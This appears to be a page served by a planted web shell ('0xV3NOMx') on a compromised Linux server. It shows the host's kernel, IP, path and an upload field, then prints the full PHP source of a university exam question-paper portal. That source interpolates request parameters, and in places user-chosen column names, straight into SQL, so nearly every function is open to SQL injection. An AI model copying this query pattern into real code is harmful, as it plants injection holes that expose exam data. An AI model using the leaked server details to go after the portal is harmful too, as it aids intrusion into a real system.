0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.137.211.49


Current Path : /var/www/html/collportal/custom_src/
Upload File :
Current File : //var/www/html/collportal/custom_src/preparethqp.php

<?php
    require_once("/var/www/html/aws/aws-autoloader.php");
    use Aws\S3\S3Client;
    use Aws\S3\Exception\S3Exception;

    function getPrepareQpDetails($aobj_context){
        $teachcode = $aobj_context->mobj_data['teachcode'];

        $query = "select qp.fqpcode, concat(s.fsubname, ' - ', s.fsubshort) as fsubname, 
                  s.fvalmax, qp.fset, qp.fyear, qp.fexamtype, qp.fteachcode, 
                  ifnull(qp.fstatus, '') as fstatus,
                  qp.ftype, qp.fpretype, qp.fmaxmarks, count(h.fqncode) as totcnt, ifnull(fteachstatus, 'F')as fteachstatus,
                  count(m.fqpno) as qpcnt, qp.ftempcode
                  from qpseterdet qp inner join (select distinct fsubname, fsubshort, fqpcode, fvalmax 
                  from subject
                  where ifnull(fqpcode,'') <> ''
                  group by fqpcode) s on qp.fqpcode = s.fqpcode
                  inner join tdvs_qptempdetl h on qp.ftempcode = h.ftempcode 
                  left join mcqqpdet m on qp.fqpcode = m.fqpcode and qp.fteachcode = m.fteachcode
                  and qp.fyear = m.fyear and qp.fexamtype = m.fexamtype
                  and m.fnoqp = qp.fset and h.fqnno = m.fqpno and h.fqncode = m.fqncode
                  and ifnull(m.fquestion,'') <> ''
                  where qp.fteachcode = '{$teachcode}' 
                  and ifnull(qp.fstatus, '') = 'ACCEPTED'
                  and ifnull(h.fsubqp,'F') = 'F'
                  group by qp.fyear, qp.fexamtype, fqpcode,fset ,fteachcode, qp.ftype";

        $result = $aobj_context->mobj_db->GetAll($query);
        if($result){
            echo $aobj_context->mobj_output->ToJSONEnvelope($result, 0, "succcess"); 
        }else{
            $arr['msg'] = 'No data found';
            echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "failure"); 
            return;
        }
    }

    // function getPrepareQpSummaryDet($aobj_context){
    //     $univcode = $aobj_context->mobj_data['univcode'];
    //     $teachcode = $aobj_context->mobj_data['teachcode'];
    //     $data =  $aobj_context->req_body;
    //     $qpcode = $data['qpcode'];
        
    //     $query = "select ifnull(ftempcode, '')as ftempcode from tdvs_masqp where fqpcode='{$qpcode}'";
    //     $res = $aobj_context->pobj_db->GetRow($query);

    //     $tempcode = $res['ftempcode'];

    //     $query1 = "select * from tdvs_qptemphead where ftempcode='{$tempcode}'";
    //     $result = $aobj_context->pobj_db->GetAll($query1);

    //     if($result){
    //         echo $aobj_context->mobj_output->ToJSONEnvelope($result, 0, "succcess"); 
    //     }else{
    //         $arr['msg'] = 'No data found';
    //         echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "failure"); 
    //         return;
    //     }
    // }

    // function getTempHeadSection($aobj_context){
    //     $univcode = $aobj_context->mobj_data['univcode'];
    //     $tempcode = $aobj_context->mobj_data['tempcode'];

    //     $query="select fpartcode, fpartdesc from tdvs_qptemphead where ftempcode='{$tempcode}'";
    //     $res = $aobj_context->pobj_db->GetAll($query);

    //     if($res){
    //         echo $aobj_context->mobj_output->ToJSONEnvelope($res, 0, "succcess"); 
    //     }else{
    //         $arr['msg'] = 'No data found';
    //         echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "failure"); 
    //         return;
    //     }
    // }

    function getQuestions($aobj_context){
        
        $univcode = $aobj_context->mobj_data['univcode'];
        $usertype = $aobj_context->mobj_data['usertype'];
        $rawData = file_get_contents('php://input');
        $data = json_decode($rawData, true);
        $qpcode = $data['qpcode'];
        $part = $data['part'];
        $set = $data['set'];
        $teachcode = $data['teachcode'];
        $year = $data['year'];
        $mode = $data['mode'];
        $tempcode = $data['tempcode'];
        $type = $data['type'];
       
        $query = "select fpartcode, fpartdesc from tdvs_qptemphead where ftempcode = '{$tempcode}'";
        $res = $aobj_context->mobj_db->GetAll($query);

        if(strtolower($type) === 'mcq'){
            $cnd = "order by cast(q.fqnno as unsigned)";
            $typecnd = "MCQ";
        }else{
            $cnd = "order by LPAD(q.fqnno, 4, 0)";
            $typecnd = "Descriptive";
        }

        $data = [];

            if($usertype == 'M'){
                foreach ($res as $key => $value) {
                    // $query1 = "select ifnull(fqnno, '')as fqnno from tdvs_qptempdetl where ftempcode = '{$tempcode}' and fpartcode='{$value['fpartcode']}'  $cnd";
                    $query1 = "select distinct ifnull(m.fqpno, '')as fqpno, if(ifnull(m.fmaxmarks, '')='',q.fmaxmarks, m.fmaxmarks)as fmaxmarks, 
                            ifnull(m.fmodquestion, '')as fquestion, 
                            fnoqp,
                            ifnull(m.fmodopta, '')as fopta, 
                            ifnull(m.fmodoptb, '')as foptb, 
                            ifnull(m.fmodoptc, '')as foptc, 
                            ifnull(m.fmodoptd, '')as foptd, 
                            ifnull(m.fmodkeyans, '')as fkeyans, 
                            ifnull(m.fmodqnfile, '')as fqnfile, 
                            ifnull(m.fmodoptafile, '')as foptafile, 
                            ifnull(m.fmodoptbfile, '')as foptbfile, 
                            ifnull(m.ftype, '{$typecnd}')as ftype,
                            ifnull(m.fmodoptcfile, '')as foptcfile,
                            ifnull(m.fmodoptdfile, '')as foptdfile,
                            ifnull(m.fmodkeyansfile, '')as fkeyansfile,
                            ifnull(m.fmodstatus, 'F')as fteachstatus,
                            ifnull(m.fmodcreatedate,'')as fmodcreatedate,
                            ifnull(m.fmodremarks, '')as fmodremarks,
                            if(ifnull(m.fmodquestion, '')='','Not Completed', 'Completed')as fqpcomp, 
                            ifnull(m.fco,'')as fco,ifnull(m.fpo,'')as fpo, ifnull(m.fblooms,'')as fblooms
                            from mcqqpdet m inner join tdvs_qptempdetl q on q.fqncode = m.fqncode 
                            and q.fqnno = m.fqpno where q.ftempcode='{$tempcode}'  and q.fpartcode='{$value['fpartcode']}'
                            and m.fnoqp = '{$set}' and m.fteachcode='{$teachcode}' and m.fqpcode='{$qpcode}' and m.fyear='{$year}'
                            and m.fexamtype='{$mode}'
                            and ifnull(q.fsubqp,'F') = 'F'
                            {$cnd}";

                    $res1 = $aobj_context->mobj_db->GetAll($query1);

                    $arr['fpartcode'] = $value['fpartcode'];
                    $arr['fpartdesc'] = $value['fpartdesc'];
                    $arr['fdata'] = $res1;
                    array_push($data, $arr);

                }
                
            } else {

            
            $qry = "insert ignore into mcqqpdet (fqpcode, fyear, fexamtype, fnoqp, fteachcode, fqncode, fqpno, fqna)
                    select '{$qpcode}', '{$year}', '{$mode}', '{$set}', '{$teachcode}', fqncode, fqnno, fqnno 
                    from tdvs_qptempdetl where ftempcode = '{$tempcode}'
                    and ifnull(fsubqp,'F') = 'F'";

            $result = $aobj_context->mobj_db->Execute($qry);

            foreach ($res as $key => $value) {
                // $query1 = "select ifnull(fqnno, '')as fqnno from tdvs_qptempdetl where ftempcode = '{$tempcode}' and fpartcode='{$value['fpartcode']}'  $cnd";
                $query1 = "select distinct ifnull(m.fqpno, '')as fqpno, 
                        if(ifnull(m.fmaxmarks, '')='',q.fmaxmarks, m.fmaxmarks)as fmaxmarks, 
                        ifnull(m.fquestion, '')as fquestion, ifnull(m.fopta, '')as fopta, 
                        ifnull(m.foptb, '')as foptb,
                        fnoqp, 
                        ifnull(m.foptc, '')as foptc, ifnull(m.foptd, '')as foptd, 
                        ifnull(m.fkeyans, '')as fkeyans, 
                        ifnull(m.fqnfile, '')as fqnfile, 
                        ifnull(m.foptafile, '')as foptafile, 
                        ifnull(m.foptbfile, '')as foptbfile, 
                        ifnull(m.ftype, '{$typecnd}')as ftype,
                        ifnull(m.foptcfile, '')as foptcfile,
                        ifnull(m.fkeyansfile, '')as fkeyansfile,
                        ifnull(m.fteachstatus, 'F')as fteachstatus,
                        ifnull(m.fmodcreatedate,'')as fmodcreatedate,
                        if(ifnull(m.fquestion, '')='','Not Completed', 'Completed')as fqpcomp, 
                        ifnull(m.foptdfile, '')as foptdfile,
                        ifnull(m.fteachco,'')as fco, ifnull(m.fteachpo,'')as fpo, ifnull(m.fteachbloom,'')as fblooms
                        from mcqqpdet m inner join tdvs_qptempdetl q on q.fqncode = m.fqncode 
                        and q.fqnno = m.fqpno where q.ftempcode='{$tempcode}'  and q.fpartcode='{$value['fpartcode']}'
                        and m.fnoqp = '{$set}' and m.fteachcode='{$teachcode}' and m.fqpcode='{$qpcode}' and m.fyear='{$year}'
                        and m.fexamtype='{$mode}'
                        and ifnull(q.fsubqp,'F') = 'F'
                        {$cnd}";
                        
                $res1 = $aobj_context->mobj_db->GetAll($query1);

                $arr['fpartcode'] = $value['fpartcode'];
                $arr['fpartdesc'] = $value['fpartdesc'];
                $arr['fdata'] = $res1;
                array_push($data, $arr);
            }
        }

        


        
        if($res){
            echo $aobj_context->mobj_output->ToJSONEnvelope($data, 0, "succcess"); 
        }else{
            $arr['msg'] = 'No data found';
            echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "failure"); 
            return;
        }
    }

    function saveQuestions($aobj_context){
        // $univcode = $aobj_context->mobj_data['univcode'];
        $data = json_decode($aobj_context->mobj_data["data"], true);
        $qpcode = $aobj_context->mobj_data["qpcode"];
        $year = $aobj_context->mobj_data["year"];
        $mode = $aobj_context->mobj_data["mode"];
        $teachcode = $aobj_context->mobj_data["teachcode"];
        $set = $aobj_context->mobj_data["set"];
        $usertype = $aobj_context->mobj_data["usertype"];
        $userid = $aobj_context->mobj_data["userid"];

        if($usertype == 'M'){
            if($data['fmodcreatedate'] == ''){
                $cond = 'fmodcreatedate';
            } else {
                $cond = 'fmodupddate';
            }

            $query = "update mcqqpdet set 
                        fmodquestion = '{$data['fquestion']}', 
                        fmodopta = '{$data['fopta']}', fmodoptb = '{$data['foptb']}', 
                        fmodoptc = '{$data['foptc']}', fmodoptd = '{$data['foptd']}', 
                        fmodkeyans = '{$data['fkeyans']}', ftype='{$data['ftype']}',
                        fmodteachcode='{$userid}', $cond = now(),
                        fco='{$data['fco']}',
                        fpo='{$data['fpo']}', 
                        fblooms='{$data['fblooms']}',
                        fmodremarks='{$data['fmodremarks']}'
                        where fqpcode = '{$qpcode}'
                        and fyear = '{$year}' and fexamtype = '{$mode}' 
                        and fqpno = '{$data['fqpno']}'
                        and fteachcode='{$teachcode}' and fnoqp='{$set}'";
            
        } else if($usertype === "T") {
            $query = "update mcqqpdet set fmaxmarks = '{$data['fmaxmarks']}', 
                        fquestion = '{$data['fquestion']}', 
                        fmodquestion = '{$data['fquestion']}', 
                        fopta = '{$data['fopta']}',
                        fmodopta = '{$data['fopta']}', 
                        foptb = '{$data['foptb']}', 
                        fmodoptb = '{$data['foptb']}', 
                        foptc = '{$data['foptc']}', 
                        fmodoptc = '{$data['foptc']}', 
                        foptd = '{$data['foptd']}',
                        fmodoptd = '{$data['foptd']}', 
                        fkeyans = '{$data['fkeyans']}', 
                        fmodkeyans = '{$data['fkeyans']}', 
                        fteachco='{$data['fco']}',
                        fteachpo='{$data['fpo']}',
                        fteachbloom='{$data['fblooms']}',
                        fco='{$data['fco']}',
                        fpo='{$data['fpo']}',
                        fblooms='{$data['fblooms']}',
                        ftype='{$data['ftype']}' 
                        where fqpcode = '{$qpcode}'
                        and fyear = '{$year}' and fexamtype = '{$mode}' 
                        and fqpno = '{$data['fqpno']}'
                        and fteachcode='{$teachcode}' and fnoqp='{$set}'";
        }
            
        $result=$aobj_context->mobj_db->Execute($query);
        if ($result) {
            $arr['msg'] = "success";
            echo $aobj_context->mobj_output->TOJSONEnvelope($arr, 0, "success");
            return;
        }else{
            $arr['msg'] = "failed to save ";
            echo $aobj_context->mobj_output->TOJSONEnvelope($arr, -1, "failed");
            return;
        }
    }

    function uploadQnFiles($aobj_context){
        $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
        $univcode = $aobj_context->mobj_data["univcode"];
        $qpcode = $aobj_context->mobj_data["qpcode"];
        $year = $aobj_context->mobj_data["year"];
        $mode = $aobj_context->mobj_data["mode"];
        $qnno = $aobj_context->mobj_data["qnno"];
        $field = $aobj_context->mobj_data["field"];
        $teachcode = $aobj_context->mobj_data["teachcode"];
        $noqp = $aobj_context->mobj_data["noqp"];
        $modetype = $aobj_context->mobj_data["modetype"];
        $userid = $aobj_context->mobj_data["userid"];
        $date = date('YmdHis');

        $cond = "";
        
        $filedata = $_FILES['file']['tmp_name'];
        $ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
        
        $filename = $date.'_'.$qpcode.'_'.$year.'_'.$mode.'_'.$noqp.'_'.$field.'.'.$ext;
        $key = $univcode. '/'. $qpcode. '/'. $year. '/'. $mode .'/'. $filename;

        if($modetype == 'Mod'){
            $cond = ",fmodteachcode='{$userid}',fmodupddate = now()";
        }

        $s3 = S3Client::factory(
        array(
            'credentials' => array(
                'key' => IAM_KEY,
                'secret' => IAM_SECRET
            ),
            'version' => "latest",
            'region'  => 'ap-south-1'
        ));

        try {
            $s3->putObject(['Bucket' => "omr-files", 'Key' => $key, 'SourceFile' => $filedata]);
            
           
                $query = "update mcqqpdet set $field = '{$key}' $cond where fqpcode = '{$qpcode}'
                          and fyear = '{$year}' and fexamtype = '{$mode}' and fqpno = '{$qnno}'
                          and fteachcode='{$teachcode}' and fnoqp='{$noqp}'";
            

            $result=$aobj_context->mobj_db->Execute($query);
            if ($result) {
                $arr['msg']=$key;
                echo $aobj_context->mobj_output->TOJSONEnvelope($arr, 0, "success");
            }else{
                $arr['msg']="failure";
                echo $aobj_context->mobj_output->TOJSONEnvelope($arr, -1, "failed");
                return;
            }
        }catch(S3Exception $e) {
            $arr['msg'] = 'failure';
            echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure"); 
            return;
        }
    }

    function getModQPOnline($aobj_context){
        $teachcode = $aobj_context->mobj_data['teachcode'];

        $query = "select q.fqpcode, concat(s.fsubname, ' - ', s.fsubshort)as fsubname,
        q.fset, q.fteachcode, s.fqpsyllabus,q.fpretype, ifnull(mc.fmodstatus, 'F')as fteachstatus,
        q.fexamtype,q.fyear,ifnull(mc.fmoddate,'') as fmodqpdate,count(h.fqncode) as totcnt,
        count(mc.fqpno) as qpcnt, q.ftempcode,ifnull(q.ftype,'')as ftype,mc.fnoqp,
        ifnull(q.fteachcode,'')as fteachcode,ifnull(mc.fmodstatus,'')as fmodstatus, 
        ifnull(q.fmodremarks, '')as fmodremarks
        from qpseterdet q inner join 
        (select distinct fqpcode, fsubname, fqpsyllabus, fsubshort 
        from subject where ifnull(fqpcode, '') <> '') s on 
        s.fqpcode = q.fqpcode inner join moderator m on m.fqpcode = q.fqpcode 
        inner join tdvs_qptempdetl h on q.ftempcode = h.ftempcode 
        inner join mcqqpdet mc on q.fqpcode = mc.fqpcode and q.fteachcode = mc.fteachcode
        and q.fyear = mc.fyear and q.fexamtype = mc.fexamtype
        and mc.fnoqp = q.fset and h.fqnno = mc.fqpno and h.fqncode = mc.fqncode
        and ifnull(mc.fquestion,'') <> ''
        where m.fteachcode = '{$teachcode}' 
        
        and m.flogin = 'T' 
        group by q.fteachcode,q.fqpcode, q.fset, q.fyear, q.fexamtype
        order by q.fqpcode, q.fset";
        //var_dump($query);
        $result = $aobj_context->mobj_db->GetAll($query);
        if($result){
            echo $aobj_context->mobj_output->ToJSONEnvelope($result, 0, "succcess"); 
        }else{
            $arr['msg'] = 'No data found';
            echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "failure"); 
            return;
        }
    }

    function saveModConfirm($aobj_context){
        $univcode = $aobj_context->mobj_data['univcode'];
        $qpcode = $aobj_context->mobj_data['qpcode'];
        $year = $aobj_context->mobj_data["year"];
        $mode = $aobj_context->mobj_data["mode"];
        $teachcode = $aobj_context->mobj_data["teachcode"];
        $set = $aobj_context->mobj_data["set"];
        $ftype = $aobj_context->mobj_data["ftype"];
        $modetype = $aobj_context->mobj_data["modetype"];
        $userid = $aobj_context->mobj_data["userid"];
        $modqpdate = $aobj_context->mobj_data["modqpdate"];
        $modremarks = $aobj_context->mobj_data["remarks"];
        $date = date('Y-m-d H:i:s');
        
        $query = "update mcqqpdet set fmodstatus = 'T',fmoddate = now(),fmoduser='{$userid}'
                    where fqpcode = '{$qpcode}' 
                    and fyear = '{$year}' and fexamtype = '{$mode}'
                    and fteachcode='{$teachcode}' and fnoqp='{$set}'";

        $result = $aobj_context->mobj_db->Execute($query);

        $que = "update qpseterdet set fmodqpdate = now(),
                    fmodteach='{$userid}',fmodansdate = now(),
                    fmodremarks='{$modremarks}'
                    where fqpcode = '{$qpcode}'
                    and fyear = '{$year}' and fexamtype = '{$mode}'
                    and fteachcode='{$teachcode}' and fset='{$set}'";
        $res = $aobj_context->mobj_db->Execute($que);

        if ($result) {
            $arr['msg'] = "updated successfully";
            echo $aobj_context->mobj_output->TOJSONEnvelope($arr, 0, "success");
        }else{
            $arr['msg'] = "failed to update ";
            echo $aobj_context->mobj_output->TOJSONEnvelope($arr, -1, "failed");
            return;
        }
    }

    function getQpDeggrp($aobj_context){
        $univcode = $aobj_context->mobj_data['univcode'];

        $query = "select fdeggrp, fdescpn from deggrp where ifnull(fdeleted, '')<>'T'";
        $res = $aobj_context->pobj_db->GetAll($query);

        if ($res) {
            echo $aobj_context->mobj_output->TOJSONEnvelope($res, 0, "success");
        }else{
            $arr['msg'] = "failed to load deggrp";
            echo $aobj_context->mobj_output->TOJSONEnvelope($arr, -1, "failed");
            return;
        }
    }

    function getExamDetails($aobj_context){
        $univcode = $aobj_context->mobj_data['univcode'];
        $deggrp = $aobj_context->mobj_data['deggrp'];

        $query = "select concat(fdeggrp, '*', fyear, '-', fexamtype) as fexamyear, 
                  fexamdate as fdesexam from deggrp where ifnull(fdeleted, '')<>'T'
                  and fdeggrp='{$deggrp}'";
        $res = $aobj_context->pobj_db->GetAll($query);

        if ($res) {
            echo $aobj_context->mobj_output->TOJSONEnvelope($res, 0, "success");
        }else{
            $arr['msg'] = "failed to load exam details";
            echo $aobj_context->mobj_output->TOJSONEnvelope($arr, -1, "failed");
            return;
        }
    }

    function getSelectedMCQFinalPapers($aobj_context){
        $univcode = $aobj_context->mobj_data["univcode"];
        $data = json_decode($aobj_context->mobj_data["data"], true);

        $exam = $data['deggrp']; 
        $qpcode = $data['qpcode'];
        $degree = $data['degree'];
        $sem = $data['sem'];

        $query = "select fyear, fexamtype from deggrp where fdeggrp = '{$exam}'";
        $result = $aobj_context->mobj_db->GetRow($query);
    
        $year = $result['fyear'];
        $examtype = $result['fexamtype'];

        $qpcode === "All" ? $qpCond = "" : $qpCond = "and m.fqpcode='{$qpcode}'";
        $degree === "All" ? $degreeCond = "" : $degreeCond = "and d.fdegree='{$degree}'";
        $sem === "All" ? $semCond = "" : $semCond = "and d.fexamno='{$sem}'";
        
        $query = "select m.fqpcode, s.fsubname, m.fyear, m.fexamtype, m.fexamdate, m.fteachcode, m.fnoqp, m.fmaxmarks, 
                  m.fdate, m.ffinalpaper, m.ffinaldate, m.fversions 
                  from mcqqp m inner join subject s on s.fqpcode = m.fqpcode 
                  #and s.fcsubcode = m.fcsubcode
                  inner join degree d on d.fdegree = s.fdegree and d.fexamno = s.fexamno
                  where ifnull(m.ffinalpaper, '')='T' and ifnull(fonlineqp, 'F') = 'T'
                  {$qpCond} and m.fyear='2222' and m.fexamtype='2' 
                  {$degreeCond} {$semCond} and d.fdeggrp='{$exam}'
                  group by fqpcode, fyear, fexamtype, m.fcsubcode, fteachcode, fnoqp ";
                // var_dump($query);die();
        $result=$aobj_context->mobj_db->GetAll($query);

        if($result){
            echo $aobj_context->mobj_output->ToJSONEnvelope($result, 0, "succcess"); 
            return;
        }else{
            $arr['msg'] = 'Failed to get the MCQ details';
            echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "failure"); 
            return;
        }
    }

    function generateMCQVersions($aobj_context){
        $univcode = $aobj_context->mobj_data["univcode"];
        $data = json_decode($aobj_context->mobj_data["data"], true);
        $qpcode = $data['fqpcode'];
        $teachcode = $data['fteachcode'];
        $year = $data['fyear'];
        $examtype = $data['fexamtype'];
        $noqp = $data['fnoqp'];
        $fversions = intval($data['fversions']);

        $query = "select if(fmaxqn = '','20',ifnull(fmaxqn, 20)) as fmaxqn 
                  from mcqqp where
                  fyear = '{$year}' and fexamtype='{$examtype}'
                  and fteachcode='{$teachcode}'
                  and fqpcode='{$qpcode}' and fnoqp='{$noqp}'";
        // var_dump($query);
        $result = $aobj_context->mobj_db->GetRow($query);

        $maxqn = intval($result['fmaxqn']);

        $divide = ceil($maxqn / $fversions);

        $qnArr = ['fqnb', 'fqnc', 'fqnd'];
        
        for($i=0; $i < $fversions - 1; $i++){

            $divide = $divide * ($i + 1);

            for($j = 1; $j <= $maxqn; $j++){
                $qn = $divide + 1;
                $query = "update mcqqpdet set {$qnArr[$i]} = '{$qn}' where fyear = '{$year}' 
                            and fexamtype='{$examtype}' and fteachcode='{$teachcode}'
                            and fqpcode='{$qpcode}' and fnoqp='{$noqp}'
                            and fqpno='{$j}' ";

                $res = $aobj_context->mobj_db->Execute($query);

                if($qn == $maxqn){
                    $divide = 0;
                } else {
                    $divide = $qn;
                }
                
                if($j == $maxqn){
                    $divide = ceil($maxqn / 4);
                }
            }
           
        }

        if($res){
            $arr['msg'] = 'Versions generated successfully';
            echo $aobj_context->mobj_output->ToJSONEnvelope($arr, 0, "succcess"); 
            return;
        }else{
            $arr['msg'] = 'Failed to get the MCQ details';
            echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "failure"); 
            return;
        }
    }

    function deleteThQpFile($aobj_context){
        $univcode = $aobj_context->mobj_data["univcode"];
        $qpcode = $aobj_context->mobj_data["qpcode"];
        $year = $aobj_context->mobj_data["year"];
        $mode = $aobj_context->mobj_data["mode"];
        $teachcode = $aobj_context->mobj_data["teachcode"];
        $set = $aobj_context->mobj_data["set"];
        $fqpno = $aobj_context->mobj_data["fqpno"];
        $path = $aobj_context->mobj_data["path"];
        $field = $aobj_context->mobj_data["field"];

        $query = "update mcqqpdet set $field=NULL where fqpcode='{$qpcode}' and 
                  fyear='{$year}' and fexamtype='{$mode}' and fnoqp='{$set}' and 
                  fteachcode='{$teachcode}' and fqpno='{$fqpno}'";
        $res = $aobj_context->mobj_db->Execute($query);

        if($res){
            $arr['msg'] = 'deleted successfully';
            echo $aobj_context->mobj_output->ToJSONEnvelope($arr, 0, "succcess"); 
            return;
        }else{
            $arr['msg'] = 'failed to delete the file';
            echo $aobj_context->mobj_output->ToJSONEnvelope($arr, 0, "succcess"); 
            return;
        }

    }

    function saveTeachConfirm($aobj_context){
        $univcode = $aobj_context->mobj_data['univcode'];
        $qpcode = $aobj_context->mobj_data['qpcode'];
        $year = $aobj_context->mobj_data["year"];
        $mode = $aobj_context->mobj_data["mode"];
        $teachcode = $aobj_context->mobj_data["teachcode"];
        $set = $aobj_context->mobj_data["set"];
        $ftype = $aobj_context->mobj_data["ftype"];
        $modetype = $aobj_context->mobj_data["modetype"];
        $userid = $aobj_context->mobj_data["userid"];
        
        if($modetype === "M"){
            $cnd = "fmodstatus";
        }else if($modetype === "T"){
            $cnd = "fteachstatus";
        }
        $query = "update mcqqpdet set $cnd = 'T', fteachupddate = now(), fteachupduser='{$userid}'
                    where fqpcode = '{$qpcode}' 
                    and fyear = '{$year}' and fexamtype = '{$mode}'
                    and fteachcode='{$teachcode}' and fnoqp='{$set}'";

        $result = $aobj_context->mobj_db->Execute($query);

        if ($result) {
            if($modetype === "M"){
                $qry = "update qpseterdet set fmodqpdate = now()
                    where fqpcode = '{$qpcode}' 
                    and fyear = '{$year}' and fexamtype = '{$mode}'
                    and fteachcode='{$teachcode}' and fset='{$set}'";

                $res = $aobj_context->mobj_db->Execute($qry);
            }else{
                $res = $result;
            }
            
            if($res){
                $arr['msg'] = "updated successfully";
                echo $aobj_context->mobj_output->TOJSONEnvelope($arr, 0, "success");
            }else{
                $arr['msg'] = "failed to update ";
                echo $aobj_context->mobj_output->TOJSONEnvelope($arr, -1, "failed");
                return;
            }
        }else{
            $arr['msg'] = "failed to update ";
            echo $aobj_context->mobj_output->TOJSONEnvelope($arr, -1, "failed");
            return;
        }
    }
?>